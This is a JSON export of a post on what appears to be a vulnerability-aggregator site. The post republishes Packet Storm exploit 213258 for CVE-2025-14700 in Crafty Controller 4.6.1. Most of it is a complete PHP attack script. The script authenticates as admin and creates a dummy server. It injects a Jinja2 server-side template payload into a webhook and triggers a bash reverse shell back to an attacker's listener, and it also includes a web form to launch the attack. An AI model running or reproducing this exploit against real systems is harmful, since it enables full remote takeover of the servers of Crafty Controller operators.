{"id":32543,"date":"2025-12-23T11:54:31","date_gmt":"2025-12-23T11:54:31","guid":{"rendered":"http:\/\/localhost\/?p=32543"},"modified":"2025-12-23T11:54:31","modified_gmt":"2025-12-23T11:54:31","slug":"crafty-controller-461-remote-code-execution-server-side-template-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32543","title":{"rendered":"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:15&#8243;,&#8221;description&#8221;:&#8221;Crafty Controller version 4.6.1 allows authenticated remote attackers to execute arbitrary system commands on the target server through server-side template injection the webhook configuration feature&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:213258&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-14700&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Crafty Controller 4.6.1 authenticated RCE via Server-Side Template Injection                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/craftycontrol.com\/                                                                                                  |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/213042\/ \\u0026 \\tCVE-2025-14700\\n    \\n    [+] Summary    : This PHP script is a complete port of a Python exploit targeting CVE-2025-14700, a critical vulnerability in the Crafty Controller Minecraft server management platform. \\n                     The exploit chain allows authenticated remote attackers to execute arbitrary system commands on the target server through Server-Side Template Injection (SSTI) in the webhook configuration feature.\\n    \\n    [+] Exploitation Chain:\\n    \\n    1- Authentication Bypass \\u0026 Token Harvesting\\n    \\n    Retrieves initial XSRF token from login page\\n    \\n    Authenticates with admin credentials to obtain JWT token\\n    \\n    Maintains session cookies throughout the attack\\n    \\n    2- Server Creation for Payload Delivery\\n    \\n    Creates a dummy Minecraft server via API\\n    \\n    Required to access the vulnerable webhook configuration endpoint\\n    \\n    3- SSTI Payload Injection\\n    \\n    Injects malicious Jinja2 template into Discord webhook configuration\\n    \\n    Uses cycler.__init__.__globals__.os.system() to escape template sandbox\\n    \\n    Embeds reverse shell command for remote access\\n    \\n    4- Triggering the Vulnerability\\n    \\n    Emulates browser requests to trigger server start action\\n    \\n    Executes EULA confirmation to initialize the server\\n    \\n    The template is rendered during server initialization, executing the payload\\n    \\n    [+] Technical Details:\\n    \\n    Vulnerable Component: Webhook configuration in \/api\/v2\/servers\/{id}\/webhook\\n    \\n    Attack Vector: Authenticated SSTI \u2192 RCE\\n    \\n    Privileges Required: Admin credentials\\n    \\n    Impact: Full system compromise via reverse shell\\n    \\n    Default Port: 8443 (HTTPS)\\n    \\n    \\n    [+]  CODE : php exploit.php &#8211;url=https:\/\/target.com:8443 &#8211;login=admin &#8211;password=password &#8211;lhost=192.168.1.100 &#8211;lport=4444\\n    \\n    \\u003c?php\\n    \\n    \\n    error_reporting(E_ALL);\\n    ini_set(&#8216;display_errors&#8217;, 1);\\n    \\n    \/\/ Reverse Shell Template\\n    define(&#8216;REVSHELL_TEMPLATE&#8217;, \\&#8221;bash -c &#8216;bash -i \\u003e\/dev\/tcp\/%s\/%d 0\\u003c\\u00261 2\\u003e\\u00261&#8217;\\&#8221;);\\n    \\n    class CraftyExploit {\\n        private $url;\\n        private $login;\\n        private $password;\\n        private $lhost;\\n        private $lport;\\n        private $session;\\n        private $cookies;\\n        \\n        public function __construct($url, $login, $password, $lhost, $lport) {\\n            $this-\\u003eurl = rtrim($url, &#8216;\/&#8217;);\\n            $this-\\u003elogin = $login;\\n            $this-\\u003epassword = $password;\\n            $this-\\u003elhost = $lhost;\\n            $this-\\u003elport = $lport;\\n            $this-\\u003esession = curl_init();\\n            $this-\\u003ecookies = [];\\n            \\n            \/\/ Configure cURL options\\n            curl_setopt($this-\\u003esession, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($this-\\u003esession, CURLOPT_SSL_VERIFYPEER, false);\\n            curl_setopt($this-\\u003esession, CURLOPT_SSL_VERIFYHOST, false);\\n            curl_setopt($this-\\u003esession, CURLOPT_FOLLOWLOCATION, true);\\n            curl_setopt($this-\\u003esession, CURLOPT_HEADER, true);\\n            curl_setopt($this-\\u003esession, CURLOPT_USERAGENT, &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;);\\n        }\\n        \\n        private function request($method, $endpoint, $data = null, $headers = [], $returnHeaders = false) {\\n            $url = $this-\\u003eurl . $endpoint;\\n            \\n            curl_setopt($this-\\u003esession, CURLOPT_URL, $url);\\n            curl_setopt($this-\\u003esession, CURLOPT_CUSTOMREQUEST, $method);\\n            \\n            \/\/ Set headers\\n            $defaultHeaders = [\\n                &#8216;Accept: application\/json, text\/plain, *\/*&#8217;,\\n                &#8216;Accept-Language: en-US,en;q=0.9&#8217;,\\n                &#8216;Connection: keep-alive&#8217;,\\n            ];\\n            \\n            $allHeaders = array_merge($defaultHeaders, $headers);\\n            curl_setopt($this-\\u003esession, CURLOPT_HTTPHEADER, $allHeaders);\\n            \\n            \/\/ Set cookies if any\\n            if (!empty($this-\\u003ecookies)) {\\n                $cookieStr = &#8221;;\\n                foreach ($this-\\u003ecookies as $name =\\u003e $value) {\\n                    $cookieStr .= \\&#8221;$name=$value; \\&#8221;;\\n                }\\n                curl_setopt($this-\\u003esession, CURLOPT_COOKIE, trim($cookieStr));\\n            }\\n            \\n            \/\/ Set POST data\\n            if ($method === &#8216;POST&#8217; \\u0026\\u0026 $data !== null) {\\n                if (isset($headers[&#8216;Content-Type&#8217;]) \\u0026\\u0026 strpos($headers[&#8216;Content-Type&#8217;], &#8216;application\/json&#8217;) !== false) {\\n                    curl_setopt($this-\\u003esession, CURLOPT_POSTFIELDS, json_encode($data));\\n                } else {\\n                    curl_setopt($this-\\u003esession, CURLOPT_POSTFIELDS, $data);\\n                }\\n            }\\n            \\n            $response = curl_exec($this-\\u003esession);\\n            \\n            if ($response === false) {\\n                echo \\&#8221;cURL Error: \\&#8221; . curl_error($this-\\u003esession) . \\&#8221;\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            \/\/ Parse response\\n            $headerSize = curl_getinfo($this-\\u003esession, CURLINFO_HEADER_SIZE);\\n            $headers = substr($response, 0, $headerSize);\\n            $body = substr($response, $headerSize);\\n            \\n            \/\/ Update cookies from response\\n            $this-\\u003eparseCookies($headers);\\n            \\n            \/\/ Create response object\\n            $result = [\\n                &#8216;status_code&#8217; =\\u003e curl_getinfo($this-\\u003esession, CURLINFO_HTTP_CODE),\\n                &#8216;headers&#8217; =\\u003e $headers,\\n                &#8216;body&#8217; =\\u003e $body,\\n                &#8216;request_url&#8217; =\\u003e $url,\\n                &#8216;request_method&#8217; =\\u003e $method\\n            ];\\n            \\n            if ($returnHeaders) {\\n                return $result;\\n            }\\n            \\n            return $body;\\n        }\\n        \\n        private function parseCookies($headers) {\\n            $lines = explode(\\&#8221;\\\\n\\&#8221;, $headers);\\n            foreach ($lines as $line) {\\n                if (stripos($line, &#8216;Set-Cookie:&#8217;) === 0) {\\n                    $cookie = trim(substr($line, 11));\\n                    $parts = explode(&#8216;;&#8217;, $cookie);\\n                    $cookiePair = explode(&#8216;=&#8217;, $parts[0], 2);\\n                    if (count($cookiePair) === 2) {\\n                        $this-\\u003ecookies[$cookiePair[0]] = $cookiePair[1];\\n                    }\\n                }\\n            }\\n        }\\n        \\n        private function printDebugInfo($response) {\\n            echo \\&#8221;\\\\n\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;[{$response[&#8216;request_method&#8217;]}] {$response[&#8216;request_url&#8217;]} -\\u003e HTTP {$response[&#8216;status_code&#8217;]}\\\\n\\&#8221;;\\n            echo str_repeat(\\&#8221;-\\&#8221;, 20) . \\&#8221; [KEY HEADERS VALIDATION] \\&#8221; . str_repeat(\\&#8221;-\\&#8221;, 20) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ Important headers to display\\n            $importantHeaders = [&#8216;token&#8217;, &#8216;X-XSRFToken&#8217;, &#8216;Authorization&#8217;, &#8216;Cookie&#8217;, &#8216;Referer&#8217;, &#8216;Content-Type&#8217;];\\n            $headers = $this-\\u003eparseResponseHeaders($response[&#8216;headers&#8217;]);\\n            \\n            foreach ($importantHeaders as $h) {\\n                $hLower = strtolower($h);\\n                foreach ($headers as $headerName =\\u003e $headerValue) {\\n                    if (strtolower($headerName) === $hLower) {\\n                        echo \\&#8221;$h: $headerValue\\\\n\\&#8221;;\\n                        break;\\n                    }\\n                }\\n            }\\n            \\n            echo str_repeat(\\&#8221;-\\&#8221;, 20) . \\&#8221; [RESPONSE BODY] \\&#8221; . str_repeat(\\&#8221;-\\&#8221;, 25) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ Try to decode JSON\\n            $json = json_decode($response[&#8216;body&#8217;], true);\\n            if (json_last_error() === JSON_ERROR_NONE) {\\n                echo json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . \\&#8221;\\\\n\\&#8221;;\\n            } else {\\n                \/\/ Truncate output if it&#8217;s not JSON\\n                echo (strlen($response[&#8216;body&#8217;]) \\u003e 200) ? substr($response[&#8216;body&#8217;], 0, 200) . \\&#8221;&#8230;\\&#8221; : $response[&#8216;body&#8217;];\\n                if (empty($response[&#8216;body&#8217;])) {\\n                    echo \\&#8221;(Empty Body)\\&#8221;;\\n                }\\n                echo \\&#8221;\\\\n\\&#8221;;\\n            }\\n            \\n            echo str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\\\n\\&#8221;;\\n        }\\n        \\n        private function parseResponseHeaders($headers) {\\n            $parsed = [];\\n            $lines = explode(\\&#8221;\\\\n\\&#8221;, $headers);\\n            foreach ($lines as $line) {\\n                if (strpos($line, &#8216;:&#8217;) !== false) {\\n                    list($name, $value) = explode(&#8216;:&#8217;, $line, 2);\\n                    $parsed[trim($name)] = trim($value);\\n                }\\n            }\\n            return $parsed;\\n        }\\n        \\n        public function apiLogin() {\\n            echo \\&#8221;[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Get initial XSRF token\\n            $response = $this-\\u003erequest(&#8216;GET&#8217;, &#8216;\/login&#8217;, null, [], true);\\n            $xsrf = $this-\\u003ecookies[&#8216;_xsrf&#8217;] ?? &#8221;;\\n            \\n            echo \\&#8221;[*] STEP 2: Executing authentication (XSRF: \\&#8221; . substr($xsrf, 0, 15) . \\&#8221;&#8230;)\\\\n\\&#8221;;\\n            \\n            $endpoint = &#8216;\/api\/v2\/auth\/login\/&#8217;;\\n            $headers = [\\n                &#8216;Content-Type: application\/json&#8217;,\\n                &#8216;X-XSRFToken: &#8216; . $xsrf,\\n                &#8216;Referer: &#8216; . $this-\\u003eurl . &#8216;\/login?next=%2Fpanel%2Fdashboard&#8217;,\\n                &#8216;Origin: &#8216; . $this-\\u003eurl\\n            ];\\n            \\n            $data = [\\n                &#8216;username&#8217; =\\u003e $this-\\u003elogin,\\n                &#8216;password&#8217; =\\u003e $this-\\u003epassword\\n            ];\\n            \\n            $response = $this-\\u003erequest(&#8216;POST&#8217;, $endpoint, $data, $headers, true);\\n            $this-\\u003eprintDebugInfo($response);\\n            \\n            $responseData = json_decode($response[&#8216;body&#8217;], true);\\n            \\n            if ($response[&#8216;status_code&#8217;] == 200 \\u0026\\u0026 \\n                isset($responseData[&#8216;status&#8217;]) \\u0026\\u0026 \\n                $responseData[&#8216;status&#8217;] == &#8216;ok&#8217; \\u0026\\u0026\\n                isset($responseData[&#8216;data&#8217;][&#8216;token&#8217;])) {\\n                return $responseData[&#8216;data&#8217;][&#8216;token&#8217;];\\n            }\\n            \\n            die(\\&#8221;[FATAL] Login failed. Please check credentials or target connectivity.\\\\n\\&#8221;);\\n        }\\n        \\n        public function createServer($jwtToken) {\\n            echo \\&#8221;[*] STEP 3: Creating exploit dummy server&#8230;\\\\n\\&#8221;;\\n            \\n            $endpoint = &#8216;\/api\/v2\/servers&#8217;;\\n            $xsrf = $this-\\u003ecookies[&#8216;_xsrf&#8217;] ?? &#8221;;\\n            \\n            $headers = [\\n                &#8216;Content-Type: application\/json&#8217;,\\n                &#8216;Authorization: Bearer &#8216; . $jwtToken,\\n                &#8216;X-XSRFToken: &#8216; . $xsrf,\\n                &#8216;Referer: &#8216; . $this-\\u003eurl . &#8216;\/panel\/dashboard&#8217;\\n            ];\\n            \\n            $data = [\\n                &#8216;name&#8217; =\\u003e &#8216;CVE_2025_14700_Exploit_Automation&#8217;,\\n                &#8216;monitoring_type&#8217; =\\u003e &#8216;minecraft_java&#8217;,\\n                &#8216;minecraft_java_monitoring_data&#8217; =\\u003e [&#8216;host&#8217; =\\u003e &#8216;127.0.0.1&#8217;, &#8216;port&#8217; =\\u003e 25565],\\n                &#8216;create_type&#8217; =\\u003e &#8216;minecraft_java&#8217;,\\n                &#8216;minecraft_java_create_data&#8217; =\\u003e [\\n                    &#8216;create_type&#8217; =\\u003e &#8216;download_jar&#8217;,\\n                    &#8216;download_jar_create_data&#8217; =\\u003e [\\n                        &#8216;category&#8217; =\\u003e &#8216;mc_java_servers&#8217;,\\n                        &#8216;type&#8217; =\\u003e &#8216;paper&#8217;,\\n                        &#8216;version&#8217; =\\u003e &#8216;1.18.2&#8217;,\\n                        &#8216;mem_min&#8217; =\\u003e 1,\\n                        &#8216;mem_max&#8217; =\\u003e 2,\\n                        &#8216;server_properties_port&#8217; =\\u003e 25565\\n                    ]\\n                ]\\n            ];\\n            \\n            $response = $this-\\u003erequest(&#8216;POST&#8217;, $endpoint, $data, $headers, true);\\n            $this-\\u003eprintDebugInfo($response);\\n            \\n            $responseData = json_decode($response[&#8216;body&#8217;], true);\\n            \\n            if (isset($responseData[&#8216;data&#8217;][&#8216;new_server_id&#8217;])) {\\n                return $responseData[&#8216;data&#8217;][&#8216;new_server_id&#8217;];\\n            }\\n            \\n            die(\\&#8221;[FATAL] Failed to create server.\\\\n\\&#8221;);\\n        }\\n        \\n        public function createHook($serverId, $lhost, $lport, $jwtToken) {\\n            echo \\&#8221;[*] STEP 4: Injecting SSTI Reverse Shell payload&#8230;\\\\n\\&#8221;;\\n            \\n            $endpoint = \\&#8221;\/api\/v2\/servers\/{$serverId}\/webhook\\&#8221;;\\n            $xsrf = $this-\\u003ecookies[&#8216;_xsrf&#8217;] ?? &#8221;;\\n            $revshellCmd = sprintf(REVSHELL_TEMPLATE, $lhost, $lport);\\n            \\n            \/\/ Jinja2 SSTI payload\\n            $payload = &#8216;{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system(\\&#8221;&#8216; . $revshellCmd . &#8216;\\&#8221;) }}&#8217;;\\n            \\n            $headers = [\\n                &#8216;Content-Type: application\/json&#8217;,\\n                &#8216;Authorization: Bearer &#8216; . $jwtToken,\\n                &#8216;X-XSRFToken: &#8216; . $xsrf,\\n                &#8216;Referer: &#8216; . $this-\\u003eurl . &#8216;\/panel\/dashboard&#8217;\\n            ];\\n            \\n            $data = [\\n                &#8216;webhook_type&#8217; =\\u003e &#8216;Discord&#8217;,\\n                &#8216;name&#8217; =\\u003e &#8216;Exploit_Trigger_Hook&#8217;,\\n                &#8216;url&#8217; =\\u003e &#8216;https:\/\/localhost:8443\/&#8217;,\\n                &#8216;bot_name&#8217; =\\u003e &#8216;Crafty Bot&#8217;,\\n                &#8216;trigger&#8217; =\\u003e [&#8216;start_server&#8217;],\\n                &#8216;body&#8217; =\\u003e $payload,\\n                &#8216;color&#8217; =\\u003e &#8216;#c646000&#8217;,\\n                &#8216;enabled&#8217; =\\u003e true\\n            ];\\n            \\n            $response = $this-\\u003erequest(&#8216;POST&#8217;, $endpoint, $data, $headers, true);\\n            $this-\\u003eprintDebugInfo($response);\\n        }\\n        \\n        public function triggerExploit($serverId, $jwtToken) {\\n            echo \\&#8221;\\\\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)&#8230;\\\\n\\&#8221;;\\n            \\n            $xsrf = $this-\\u003ecookies[&#8216;_xsrf&#8217;] ?? &#8221;;\\n            $host = parse_url($this-\\u003eurl, PHP_URL_HOST);\\n            \\n            \/\/ Set JWT in cookies\\n            $this-\\u003ecookies[&#8216;token&#8217;] = $jwtToken;\\n            \\n            \/\/ 1. Trigger Start Server Action\\n            $startUrl = \\&#8221;\/api\/v2\/servers\/{$serverId}\/action\/start_server\\&#8221;;\\n            echo \\&#8221;[*] Sending start_server action request&#8230;\\\\n\\&#8221;;\\n            \\n            $headers = [\\n                &#8216;token: &#8216; . $xsrf,\\n                &#8216;X-XSRFToken: &#8216; . $xsrf,\\n                &#8216;X-Requested-With: XMLHttpRequest&#8217;,\\n                &#8216;Origin: &#8216; . $this-\\u003eurl,\\n                &#8216;Referer: &#8216; . $this-\\u003eurl . &#8216;\/panel\/dashboard&#8217;,\\n                &#8216;Accept: *\/*&#8217;,\\n                &#8216;Accept-Encoding: gzip, deflate, br&#8217;,\\n                &#8216;sec-ch-ua-platform: \\&#8221;Windows\\&#8221;&#8216;\\n            ];\\n            \\n            $response = $this-\\u003erequest(&#8216;POST&#8217;, $startUrl, &#8221;, $headers, true);\\n            $this-\\u003eprintDebugInfo($response);\\n            \\n            sleep(2);\\n            \\n            \/\/ 2. Trigger EULA Action\\n            $eulaUrl = \\&#8221;\/api\/v2\/servers\/{$serverId}\/action\/eula\\&#8221;;\\n            echo \\&#8221;[*] Sending EULA confirmation action request&#8230;\\\\n\\&#8221;;\\n            \\n            $this-\\u003erequest(&#8216;POST&#8217;, $eulaUrl, &#8221;, $headers, false);\\n            \\n            echo \\&#8221;\\\\n[+] POC Execution completed. Check your nc listener ({$this-\\u003elhost}:{$this-\\u003elport}).\\\\n\\&#8221;;\\n        }\\n        \\n        public function run() {\\n            $jwt = $this-\\u003eapiLogin();\\n            $serverId = $this-\\u003ecreateServer($jwt);\\n            $this-\\u003ecreateHook($serverId, $this-\\u003elhost, $this-\\u003elport, $jwt);\\n            $this-\\u003etriggerExploit($serverId, $jwt);\\n        }\\n        \\n        public function __destruct() {\\n            if (is_resource($this-\\u003esession)) {\\n                curl_close($this-\\u003esession);\\n            }\\n        }\\n    }\\n    \\n    \/\/ Command line interface\\n    if (PHP_SAPI === &#8216;cli&#8217;) {\\n        $options = getopt(&#8216;u:l:p:lh:lp:&#8217;, [\\n            &#8216;url:&#8217;, &#8216;login:&#8217;, &#8216;password:&#8217;, &#8216;lhost:&#8217;, &#8216;lport:&#8217;\\n        ]);\\n        \\n        $url = $options[&#8216;u&#8217;] ?? $options[&#8216;url&#8217;] ?? null;\\n        $login = $options[&#8216;l&#8217;] ?? $options[&#8216;login&#8217;] ?? null;\\n        $password = $options[&#8216;p&#8217;] ?? $options[&#8216;password&#8217;] ?? null;\\n        $lhost = $options[&#8216;lh&#8217;] ?? $options[&#8216;lhost&#8217;] ?? null;\\n        $lport = $options[&#8216;lp&#8217;] ?? $options[&#8216;lport&#8217;] ?? null;\\n        \\n        if (!$url || !$login || !$password || !$lhost || !$lport) {\\n            echo \\&#8221;Usage: php \\&#8221; . basename(__FILE__) . \\&#8221; [options]\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  -u, &#8211;url        Target base URL (e.g., https:\/\/10.67.3.77:8443)\\\\n\\&#8221;;\\n            echo \\&#8221;  -l, &#8211;login      Admin username\\\\n\\&#8221;;\\n            echo \\&#8221;  -p, &#8211;password   Admin password\\\\n\\&#8221;;\\n            echo \\&#8221;  -lh, &#8211;lhost     Local listener IP\\\\n\\&#8221;;\\n            echo \\&#8221;  -lp, &#8211;lport     Local listener port\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);\\n        $exploit-\\u003erun();\\n    } else {\\n        \/\/ Web interface (optional)\\n        echo \\&#8221;\\u003cpre\\u003e\\&#8221;;\\n        if ($_SERVER[&#8216;REQUEST_METHOD&#8217;] === &#8216;POST&#8217;) {\\n            $url = $_POST[&#8216;url&#8217;] ?? &#8221;;\\n            $login = $_POST[&#8216;login&#8217;] ?? &#8221;;\\n            $password = $_POST[&#8216;password&#8217;] ?? &#8221;;\\n            $lhost = $_POST[&#8216;lhost&#8217;] ?? &#8221;;\\n            $lport = $_POST[&#8216;lport&#8217;] ?? &#8221;;\\n            \\n            if ($url \\u0026\\u0026 $login \\u0026\\u0026 $password \\u0026\\u0026 $lhost \\u0026\\u0026 $lport) {\\n                $exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);\\n                $exploit-\\u003erun();\\n            } else {\\n                echo \\&#8221;Please fill all fields.\\\\n\\&#8221;;\\n            }\\n        }\\n        echo \\&#8221;\\u003c\/pre\\u003e\\&#8221;;\\n        ?\\u003e\\n        \\u003c!DOCTYPE html\\u003e\\n        \\u003chtml\\u003e\\n        \\u003chead\\u003e\\n            \\u003ctitle\\u003eCVE-2025-14700 Exploit\\u003c\/title\\u003e\\n        \\u003c\/head\\u003e\\n        \\u003cbody\\u003e\\n            \\u003ch2\\u003eCVE-2025-14700 Exploit Interface\\u003c\/h2\\u003e\\n            \\u003cform method=\\&#8221;POST\\&#8221;\\u003e\\n                URL: \\u003cinput type=\\&#8221;text\\&#8221; name=\\&#8221;url\\&#8221; size=\\&#8221;50\\&#8221; placeholder=\\&#8221;https:\/\/10.67.3.77:8443\\&#8221;\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n                Login: \\u003cinput type=\\&#8221;text\\&#8221; name=\\&#8221;login\\&#8221;\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n                Password: \\u003cinput type=\\&#8221;password\\&#8221; name=\\&#8221;password\\&#8221;\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n                LHOST: \\u003cinput type=\\&#8221;text\\&#8221; name=\\&#8221;lhost\\&#8221; placeholder=\\&#8221;192.168.1.100\\&#8221;\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n                LPORT: \\u003cinput type=\\&#8221;text\\&#8221; name=\\&#8221;lport\\&#8221; placeholder=\\&#8221;4444\\&#8221;\\u003e\\u003cbr\\u003e\\u003cbr\\u003e\\n                \\u003cinput type=\\&#8221;submit\\&#8221; value=\\&#8221;Execute\\&#8221;\\u003e\\n            \\u003c\/form\\u003e\\n        \\u003c\/body\\u003e\\n        \\u003c\/html\\u003e\\n        \\u003c?php\\n    }\\n    ?\\u003e\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213258&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213258\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:15&#8243;,&#8221;description&#8221;:&#8221;Crafty Controller version 4.6.1 allows authenticated remote attackers to execute arbitrary system commands on the target server through server-side template injection the webhook configuration feature&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,13,53,7,11,5],"class_list":["post-32543","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32543\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \/ Server-Side Template Injection_PACKETSTORM:213258 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-23T17:16:15&#8243;,&#8221;description&#8221;:&#8221;Crafty Controller version 4.6.1 allows authenticated remote attackers to execute arbitrary system commands on the target server through server-side template injection the webhook configuration feature&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32543\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-23T11:54:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32543\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Crafty Controller 4.6.1 Remote Code Execution \\\/ Server-Side Template 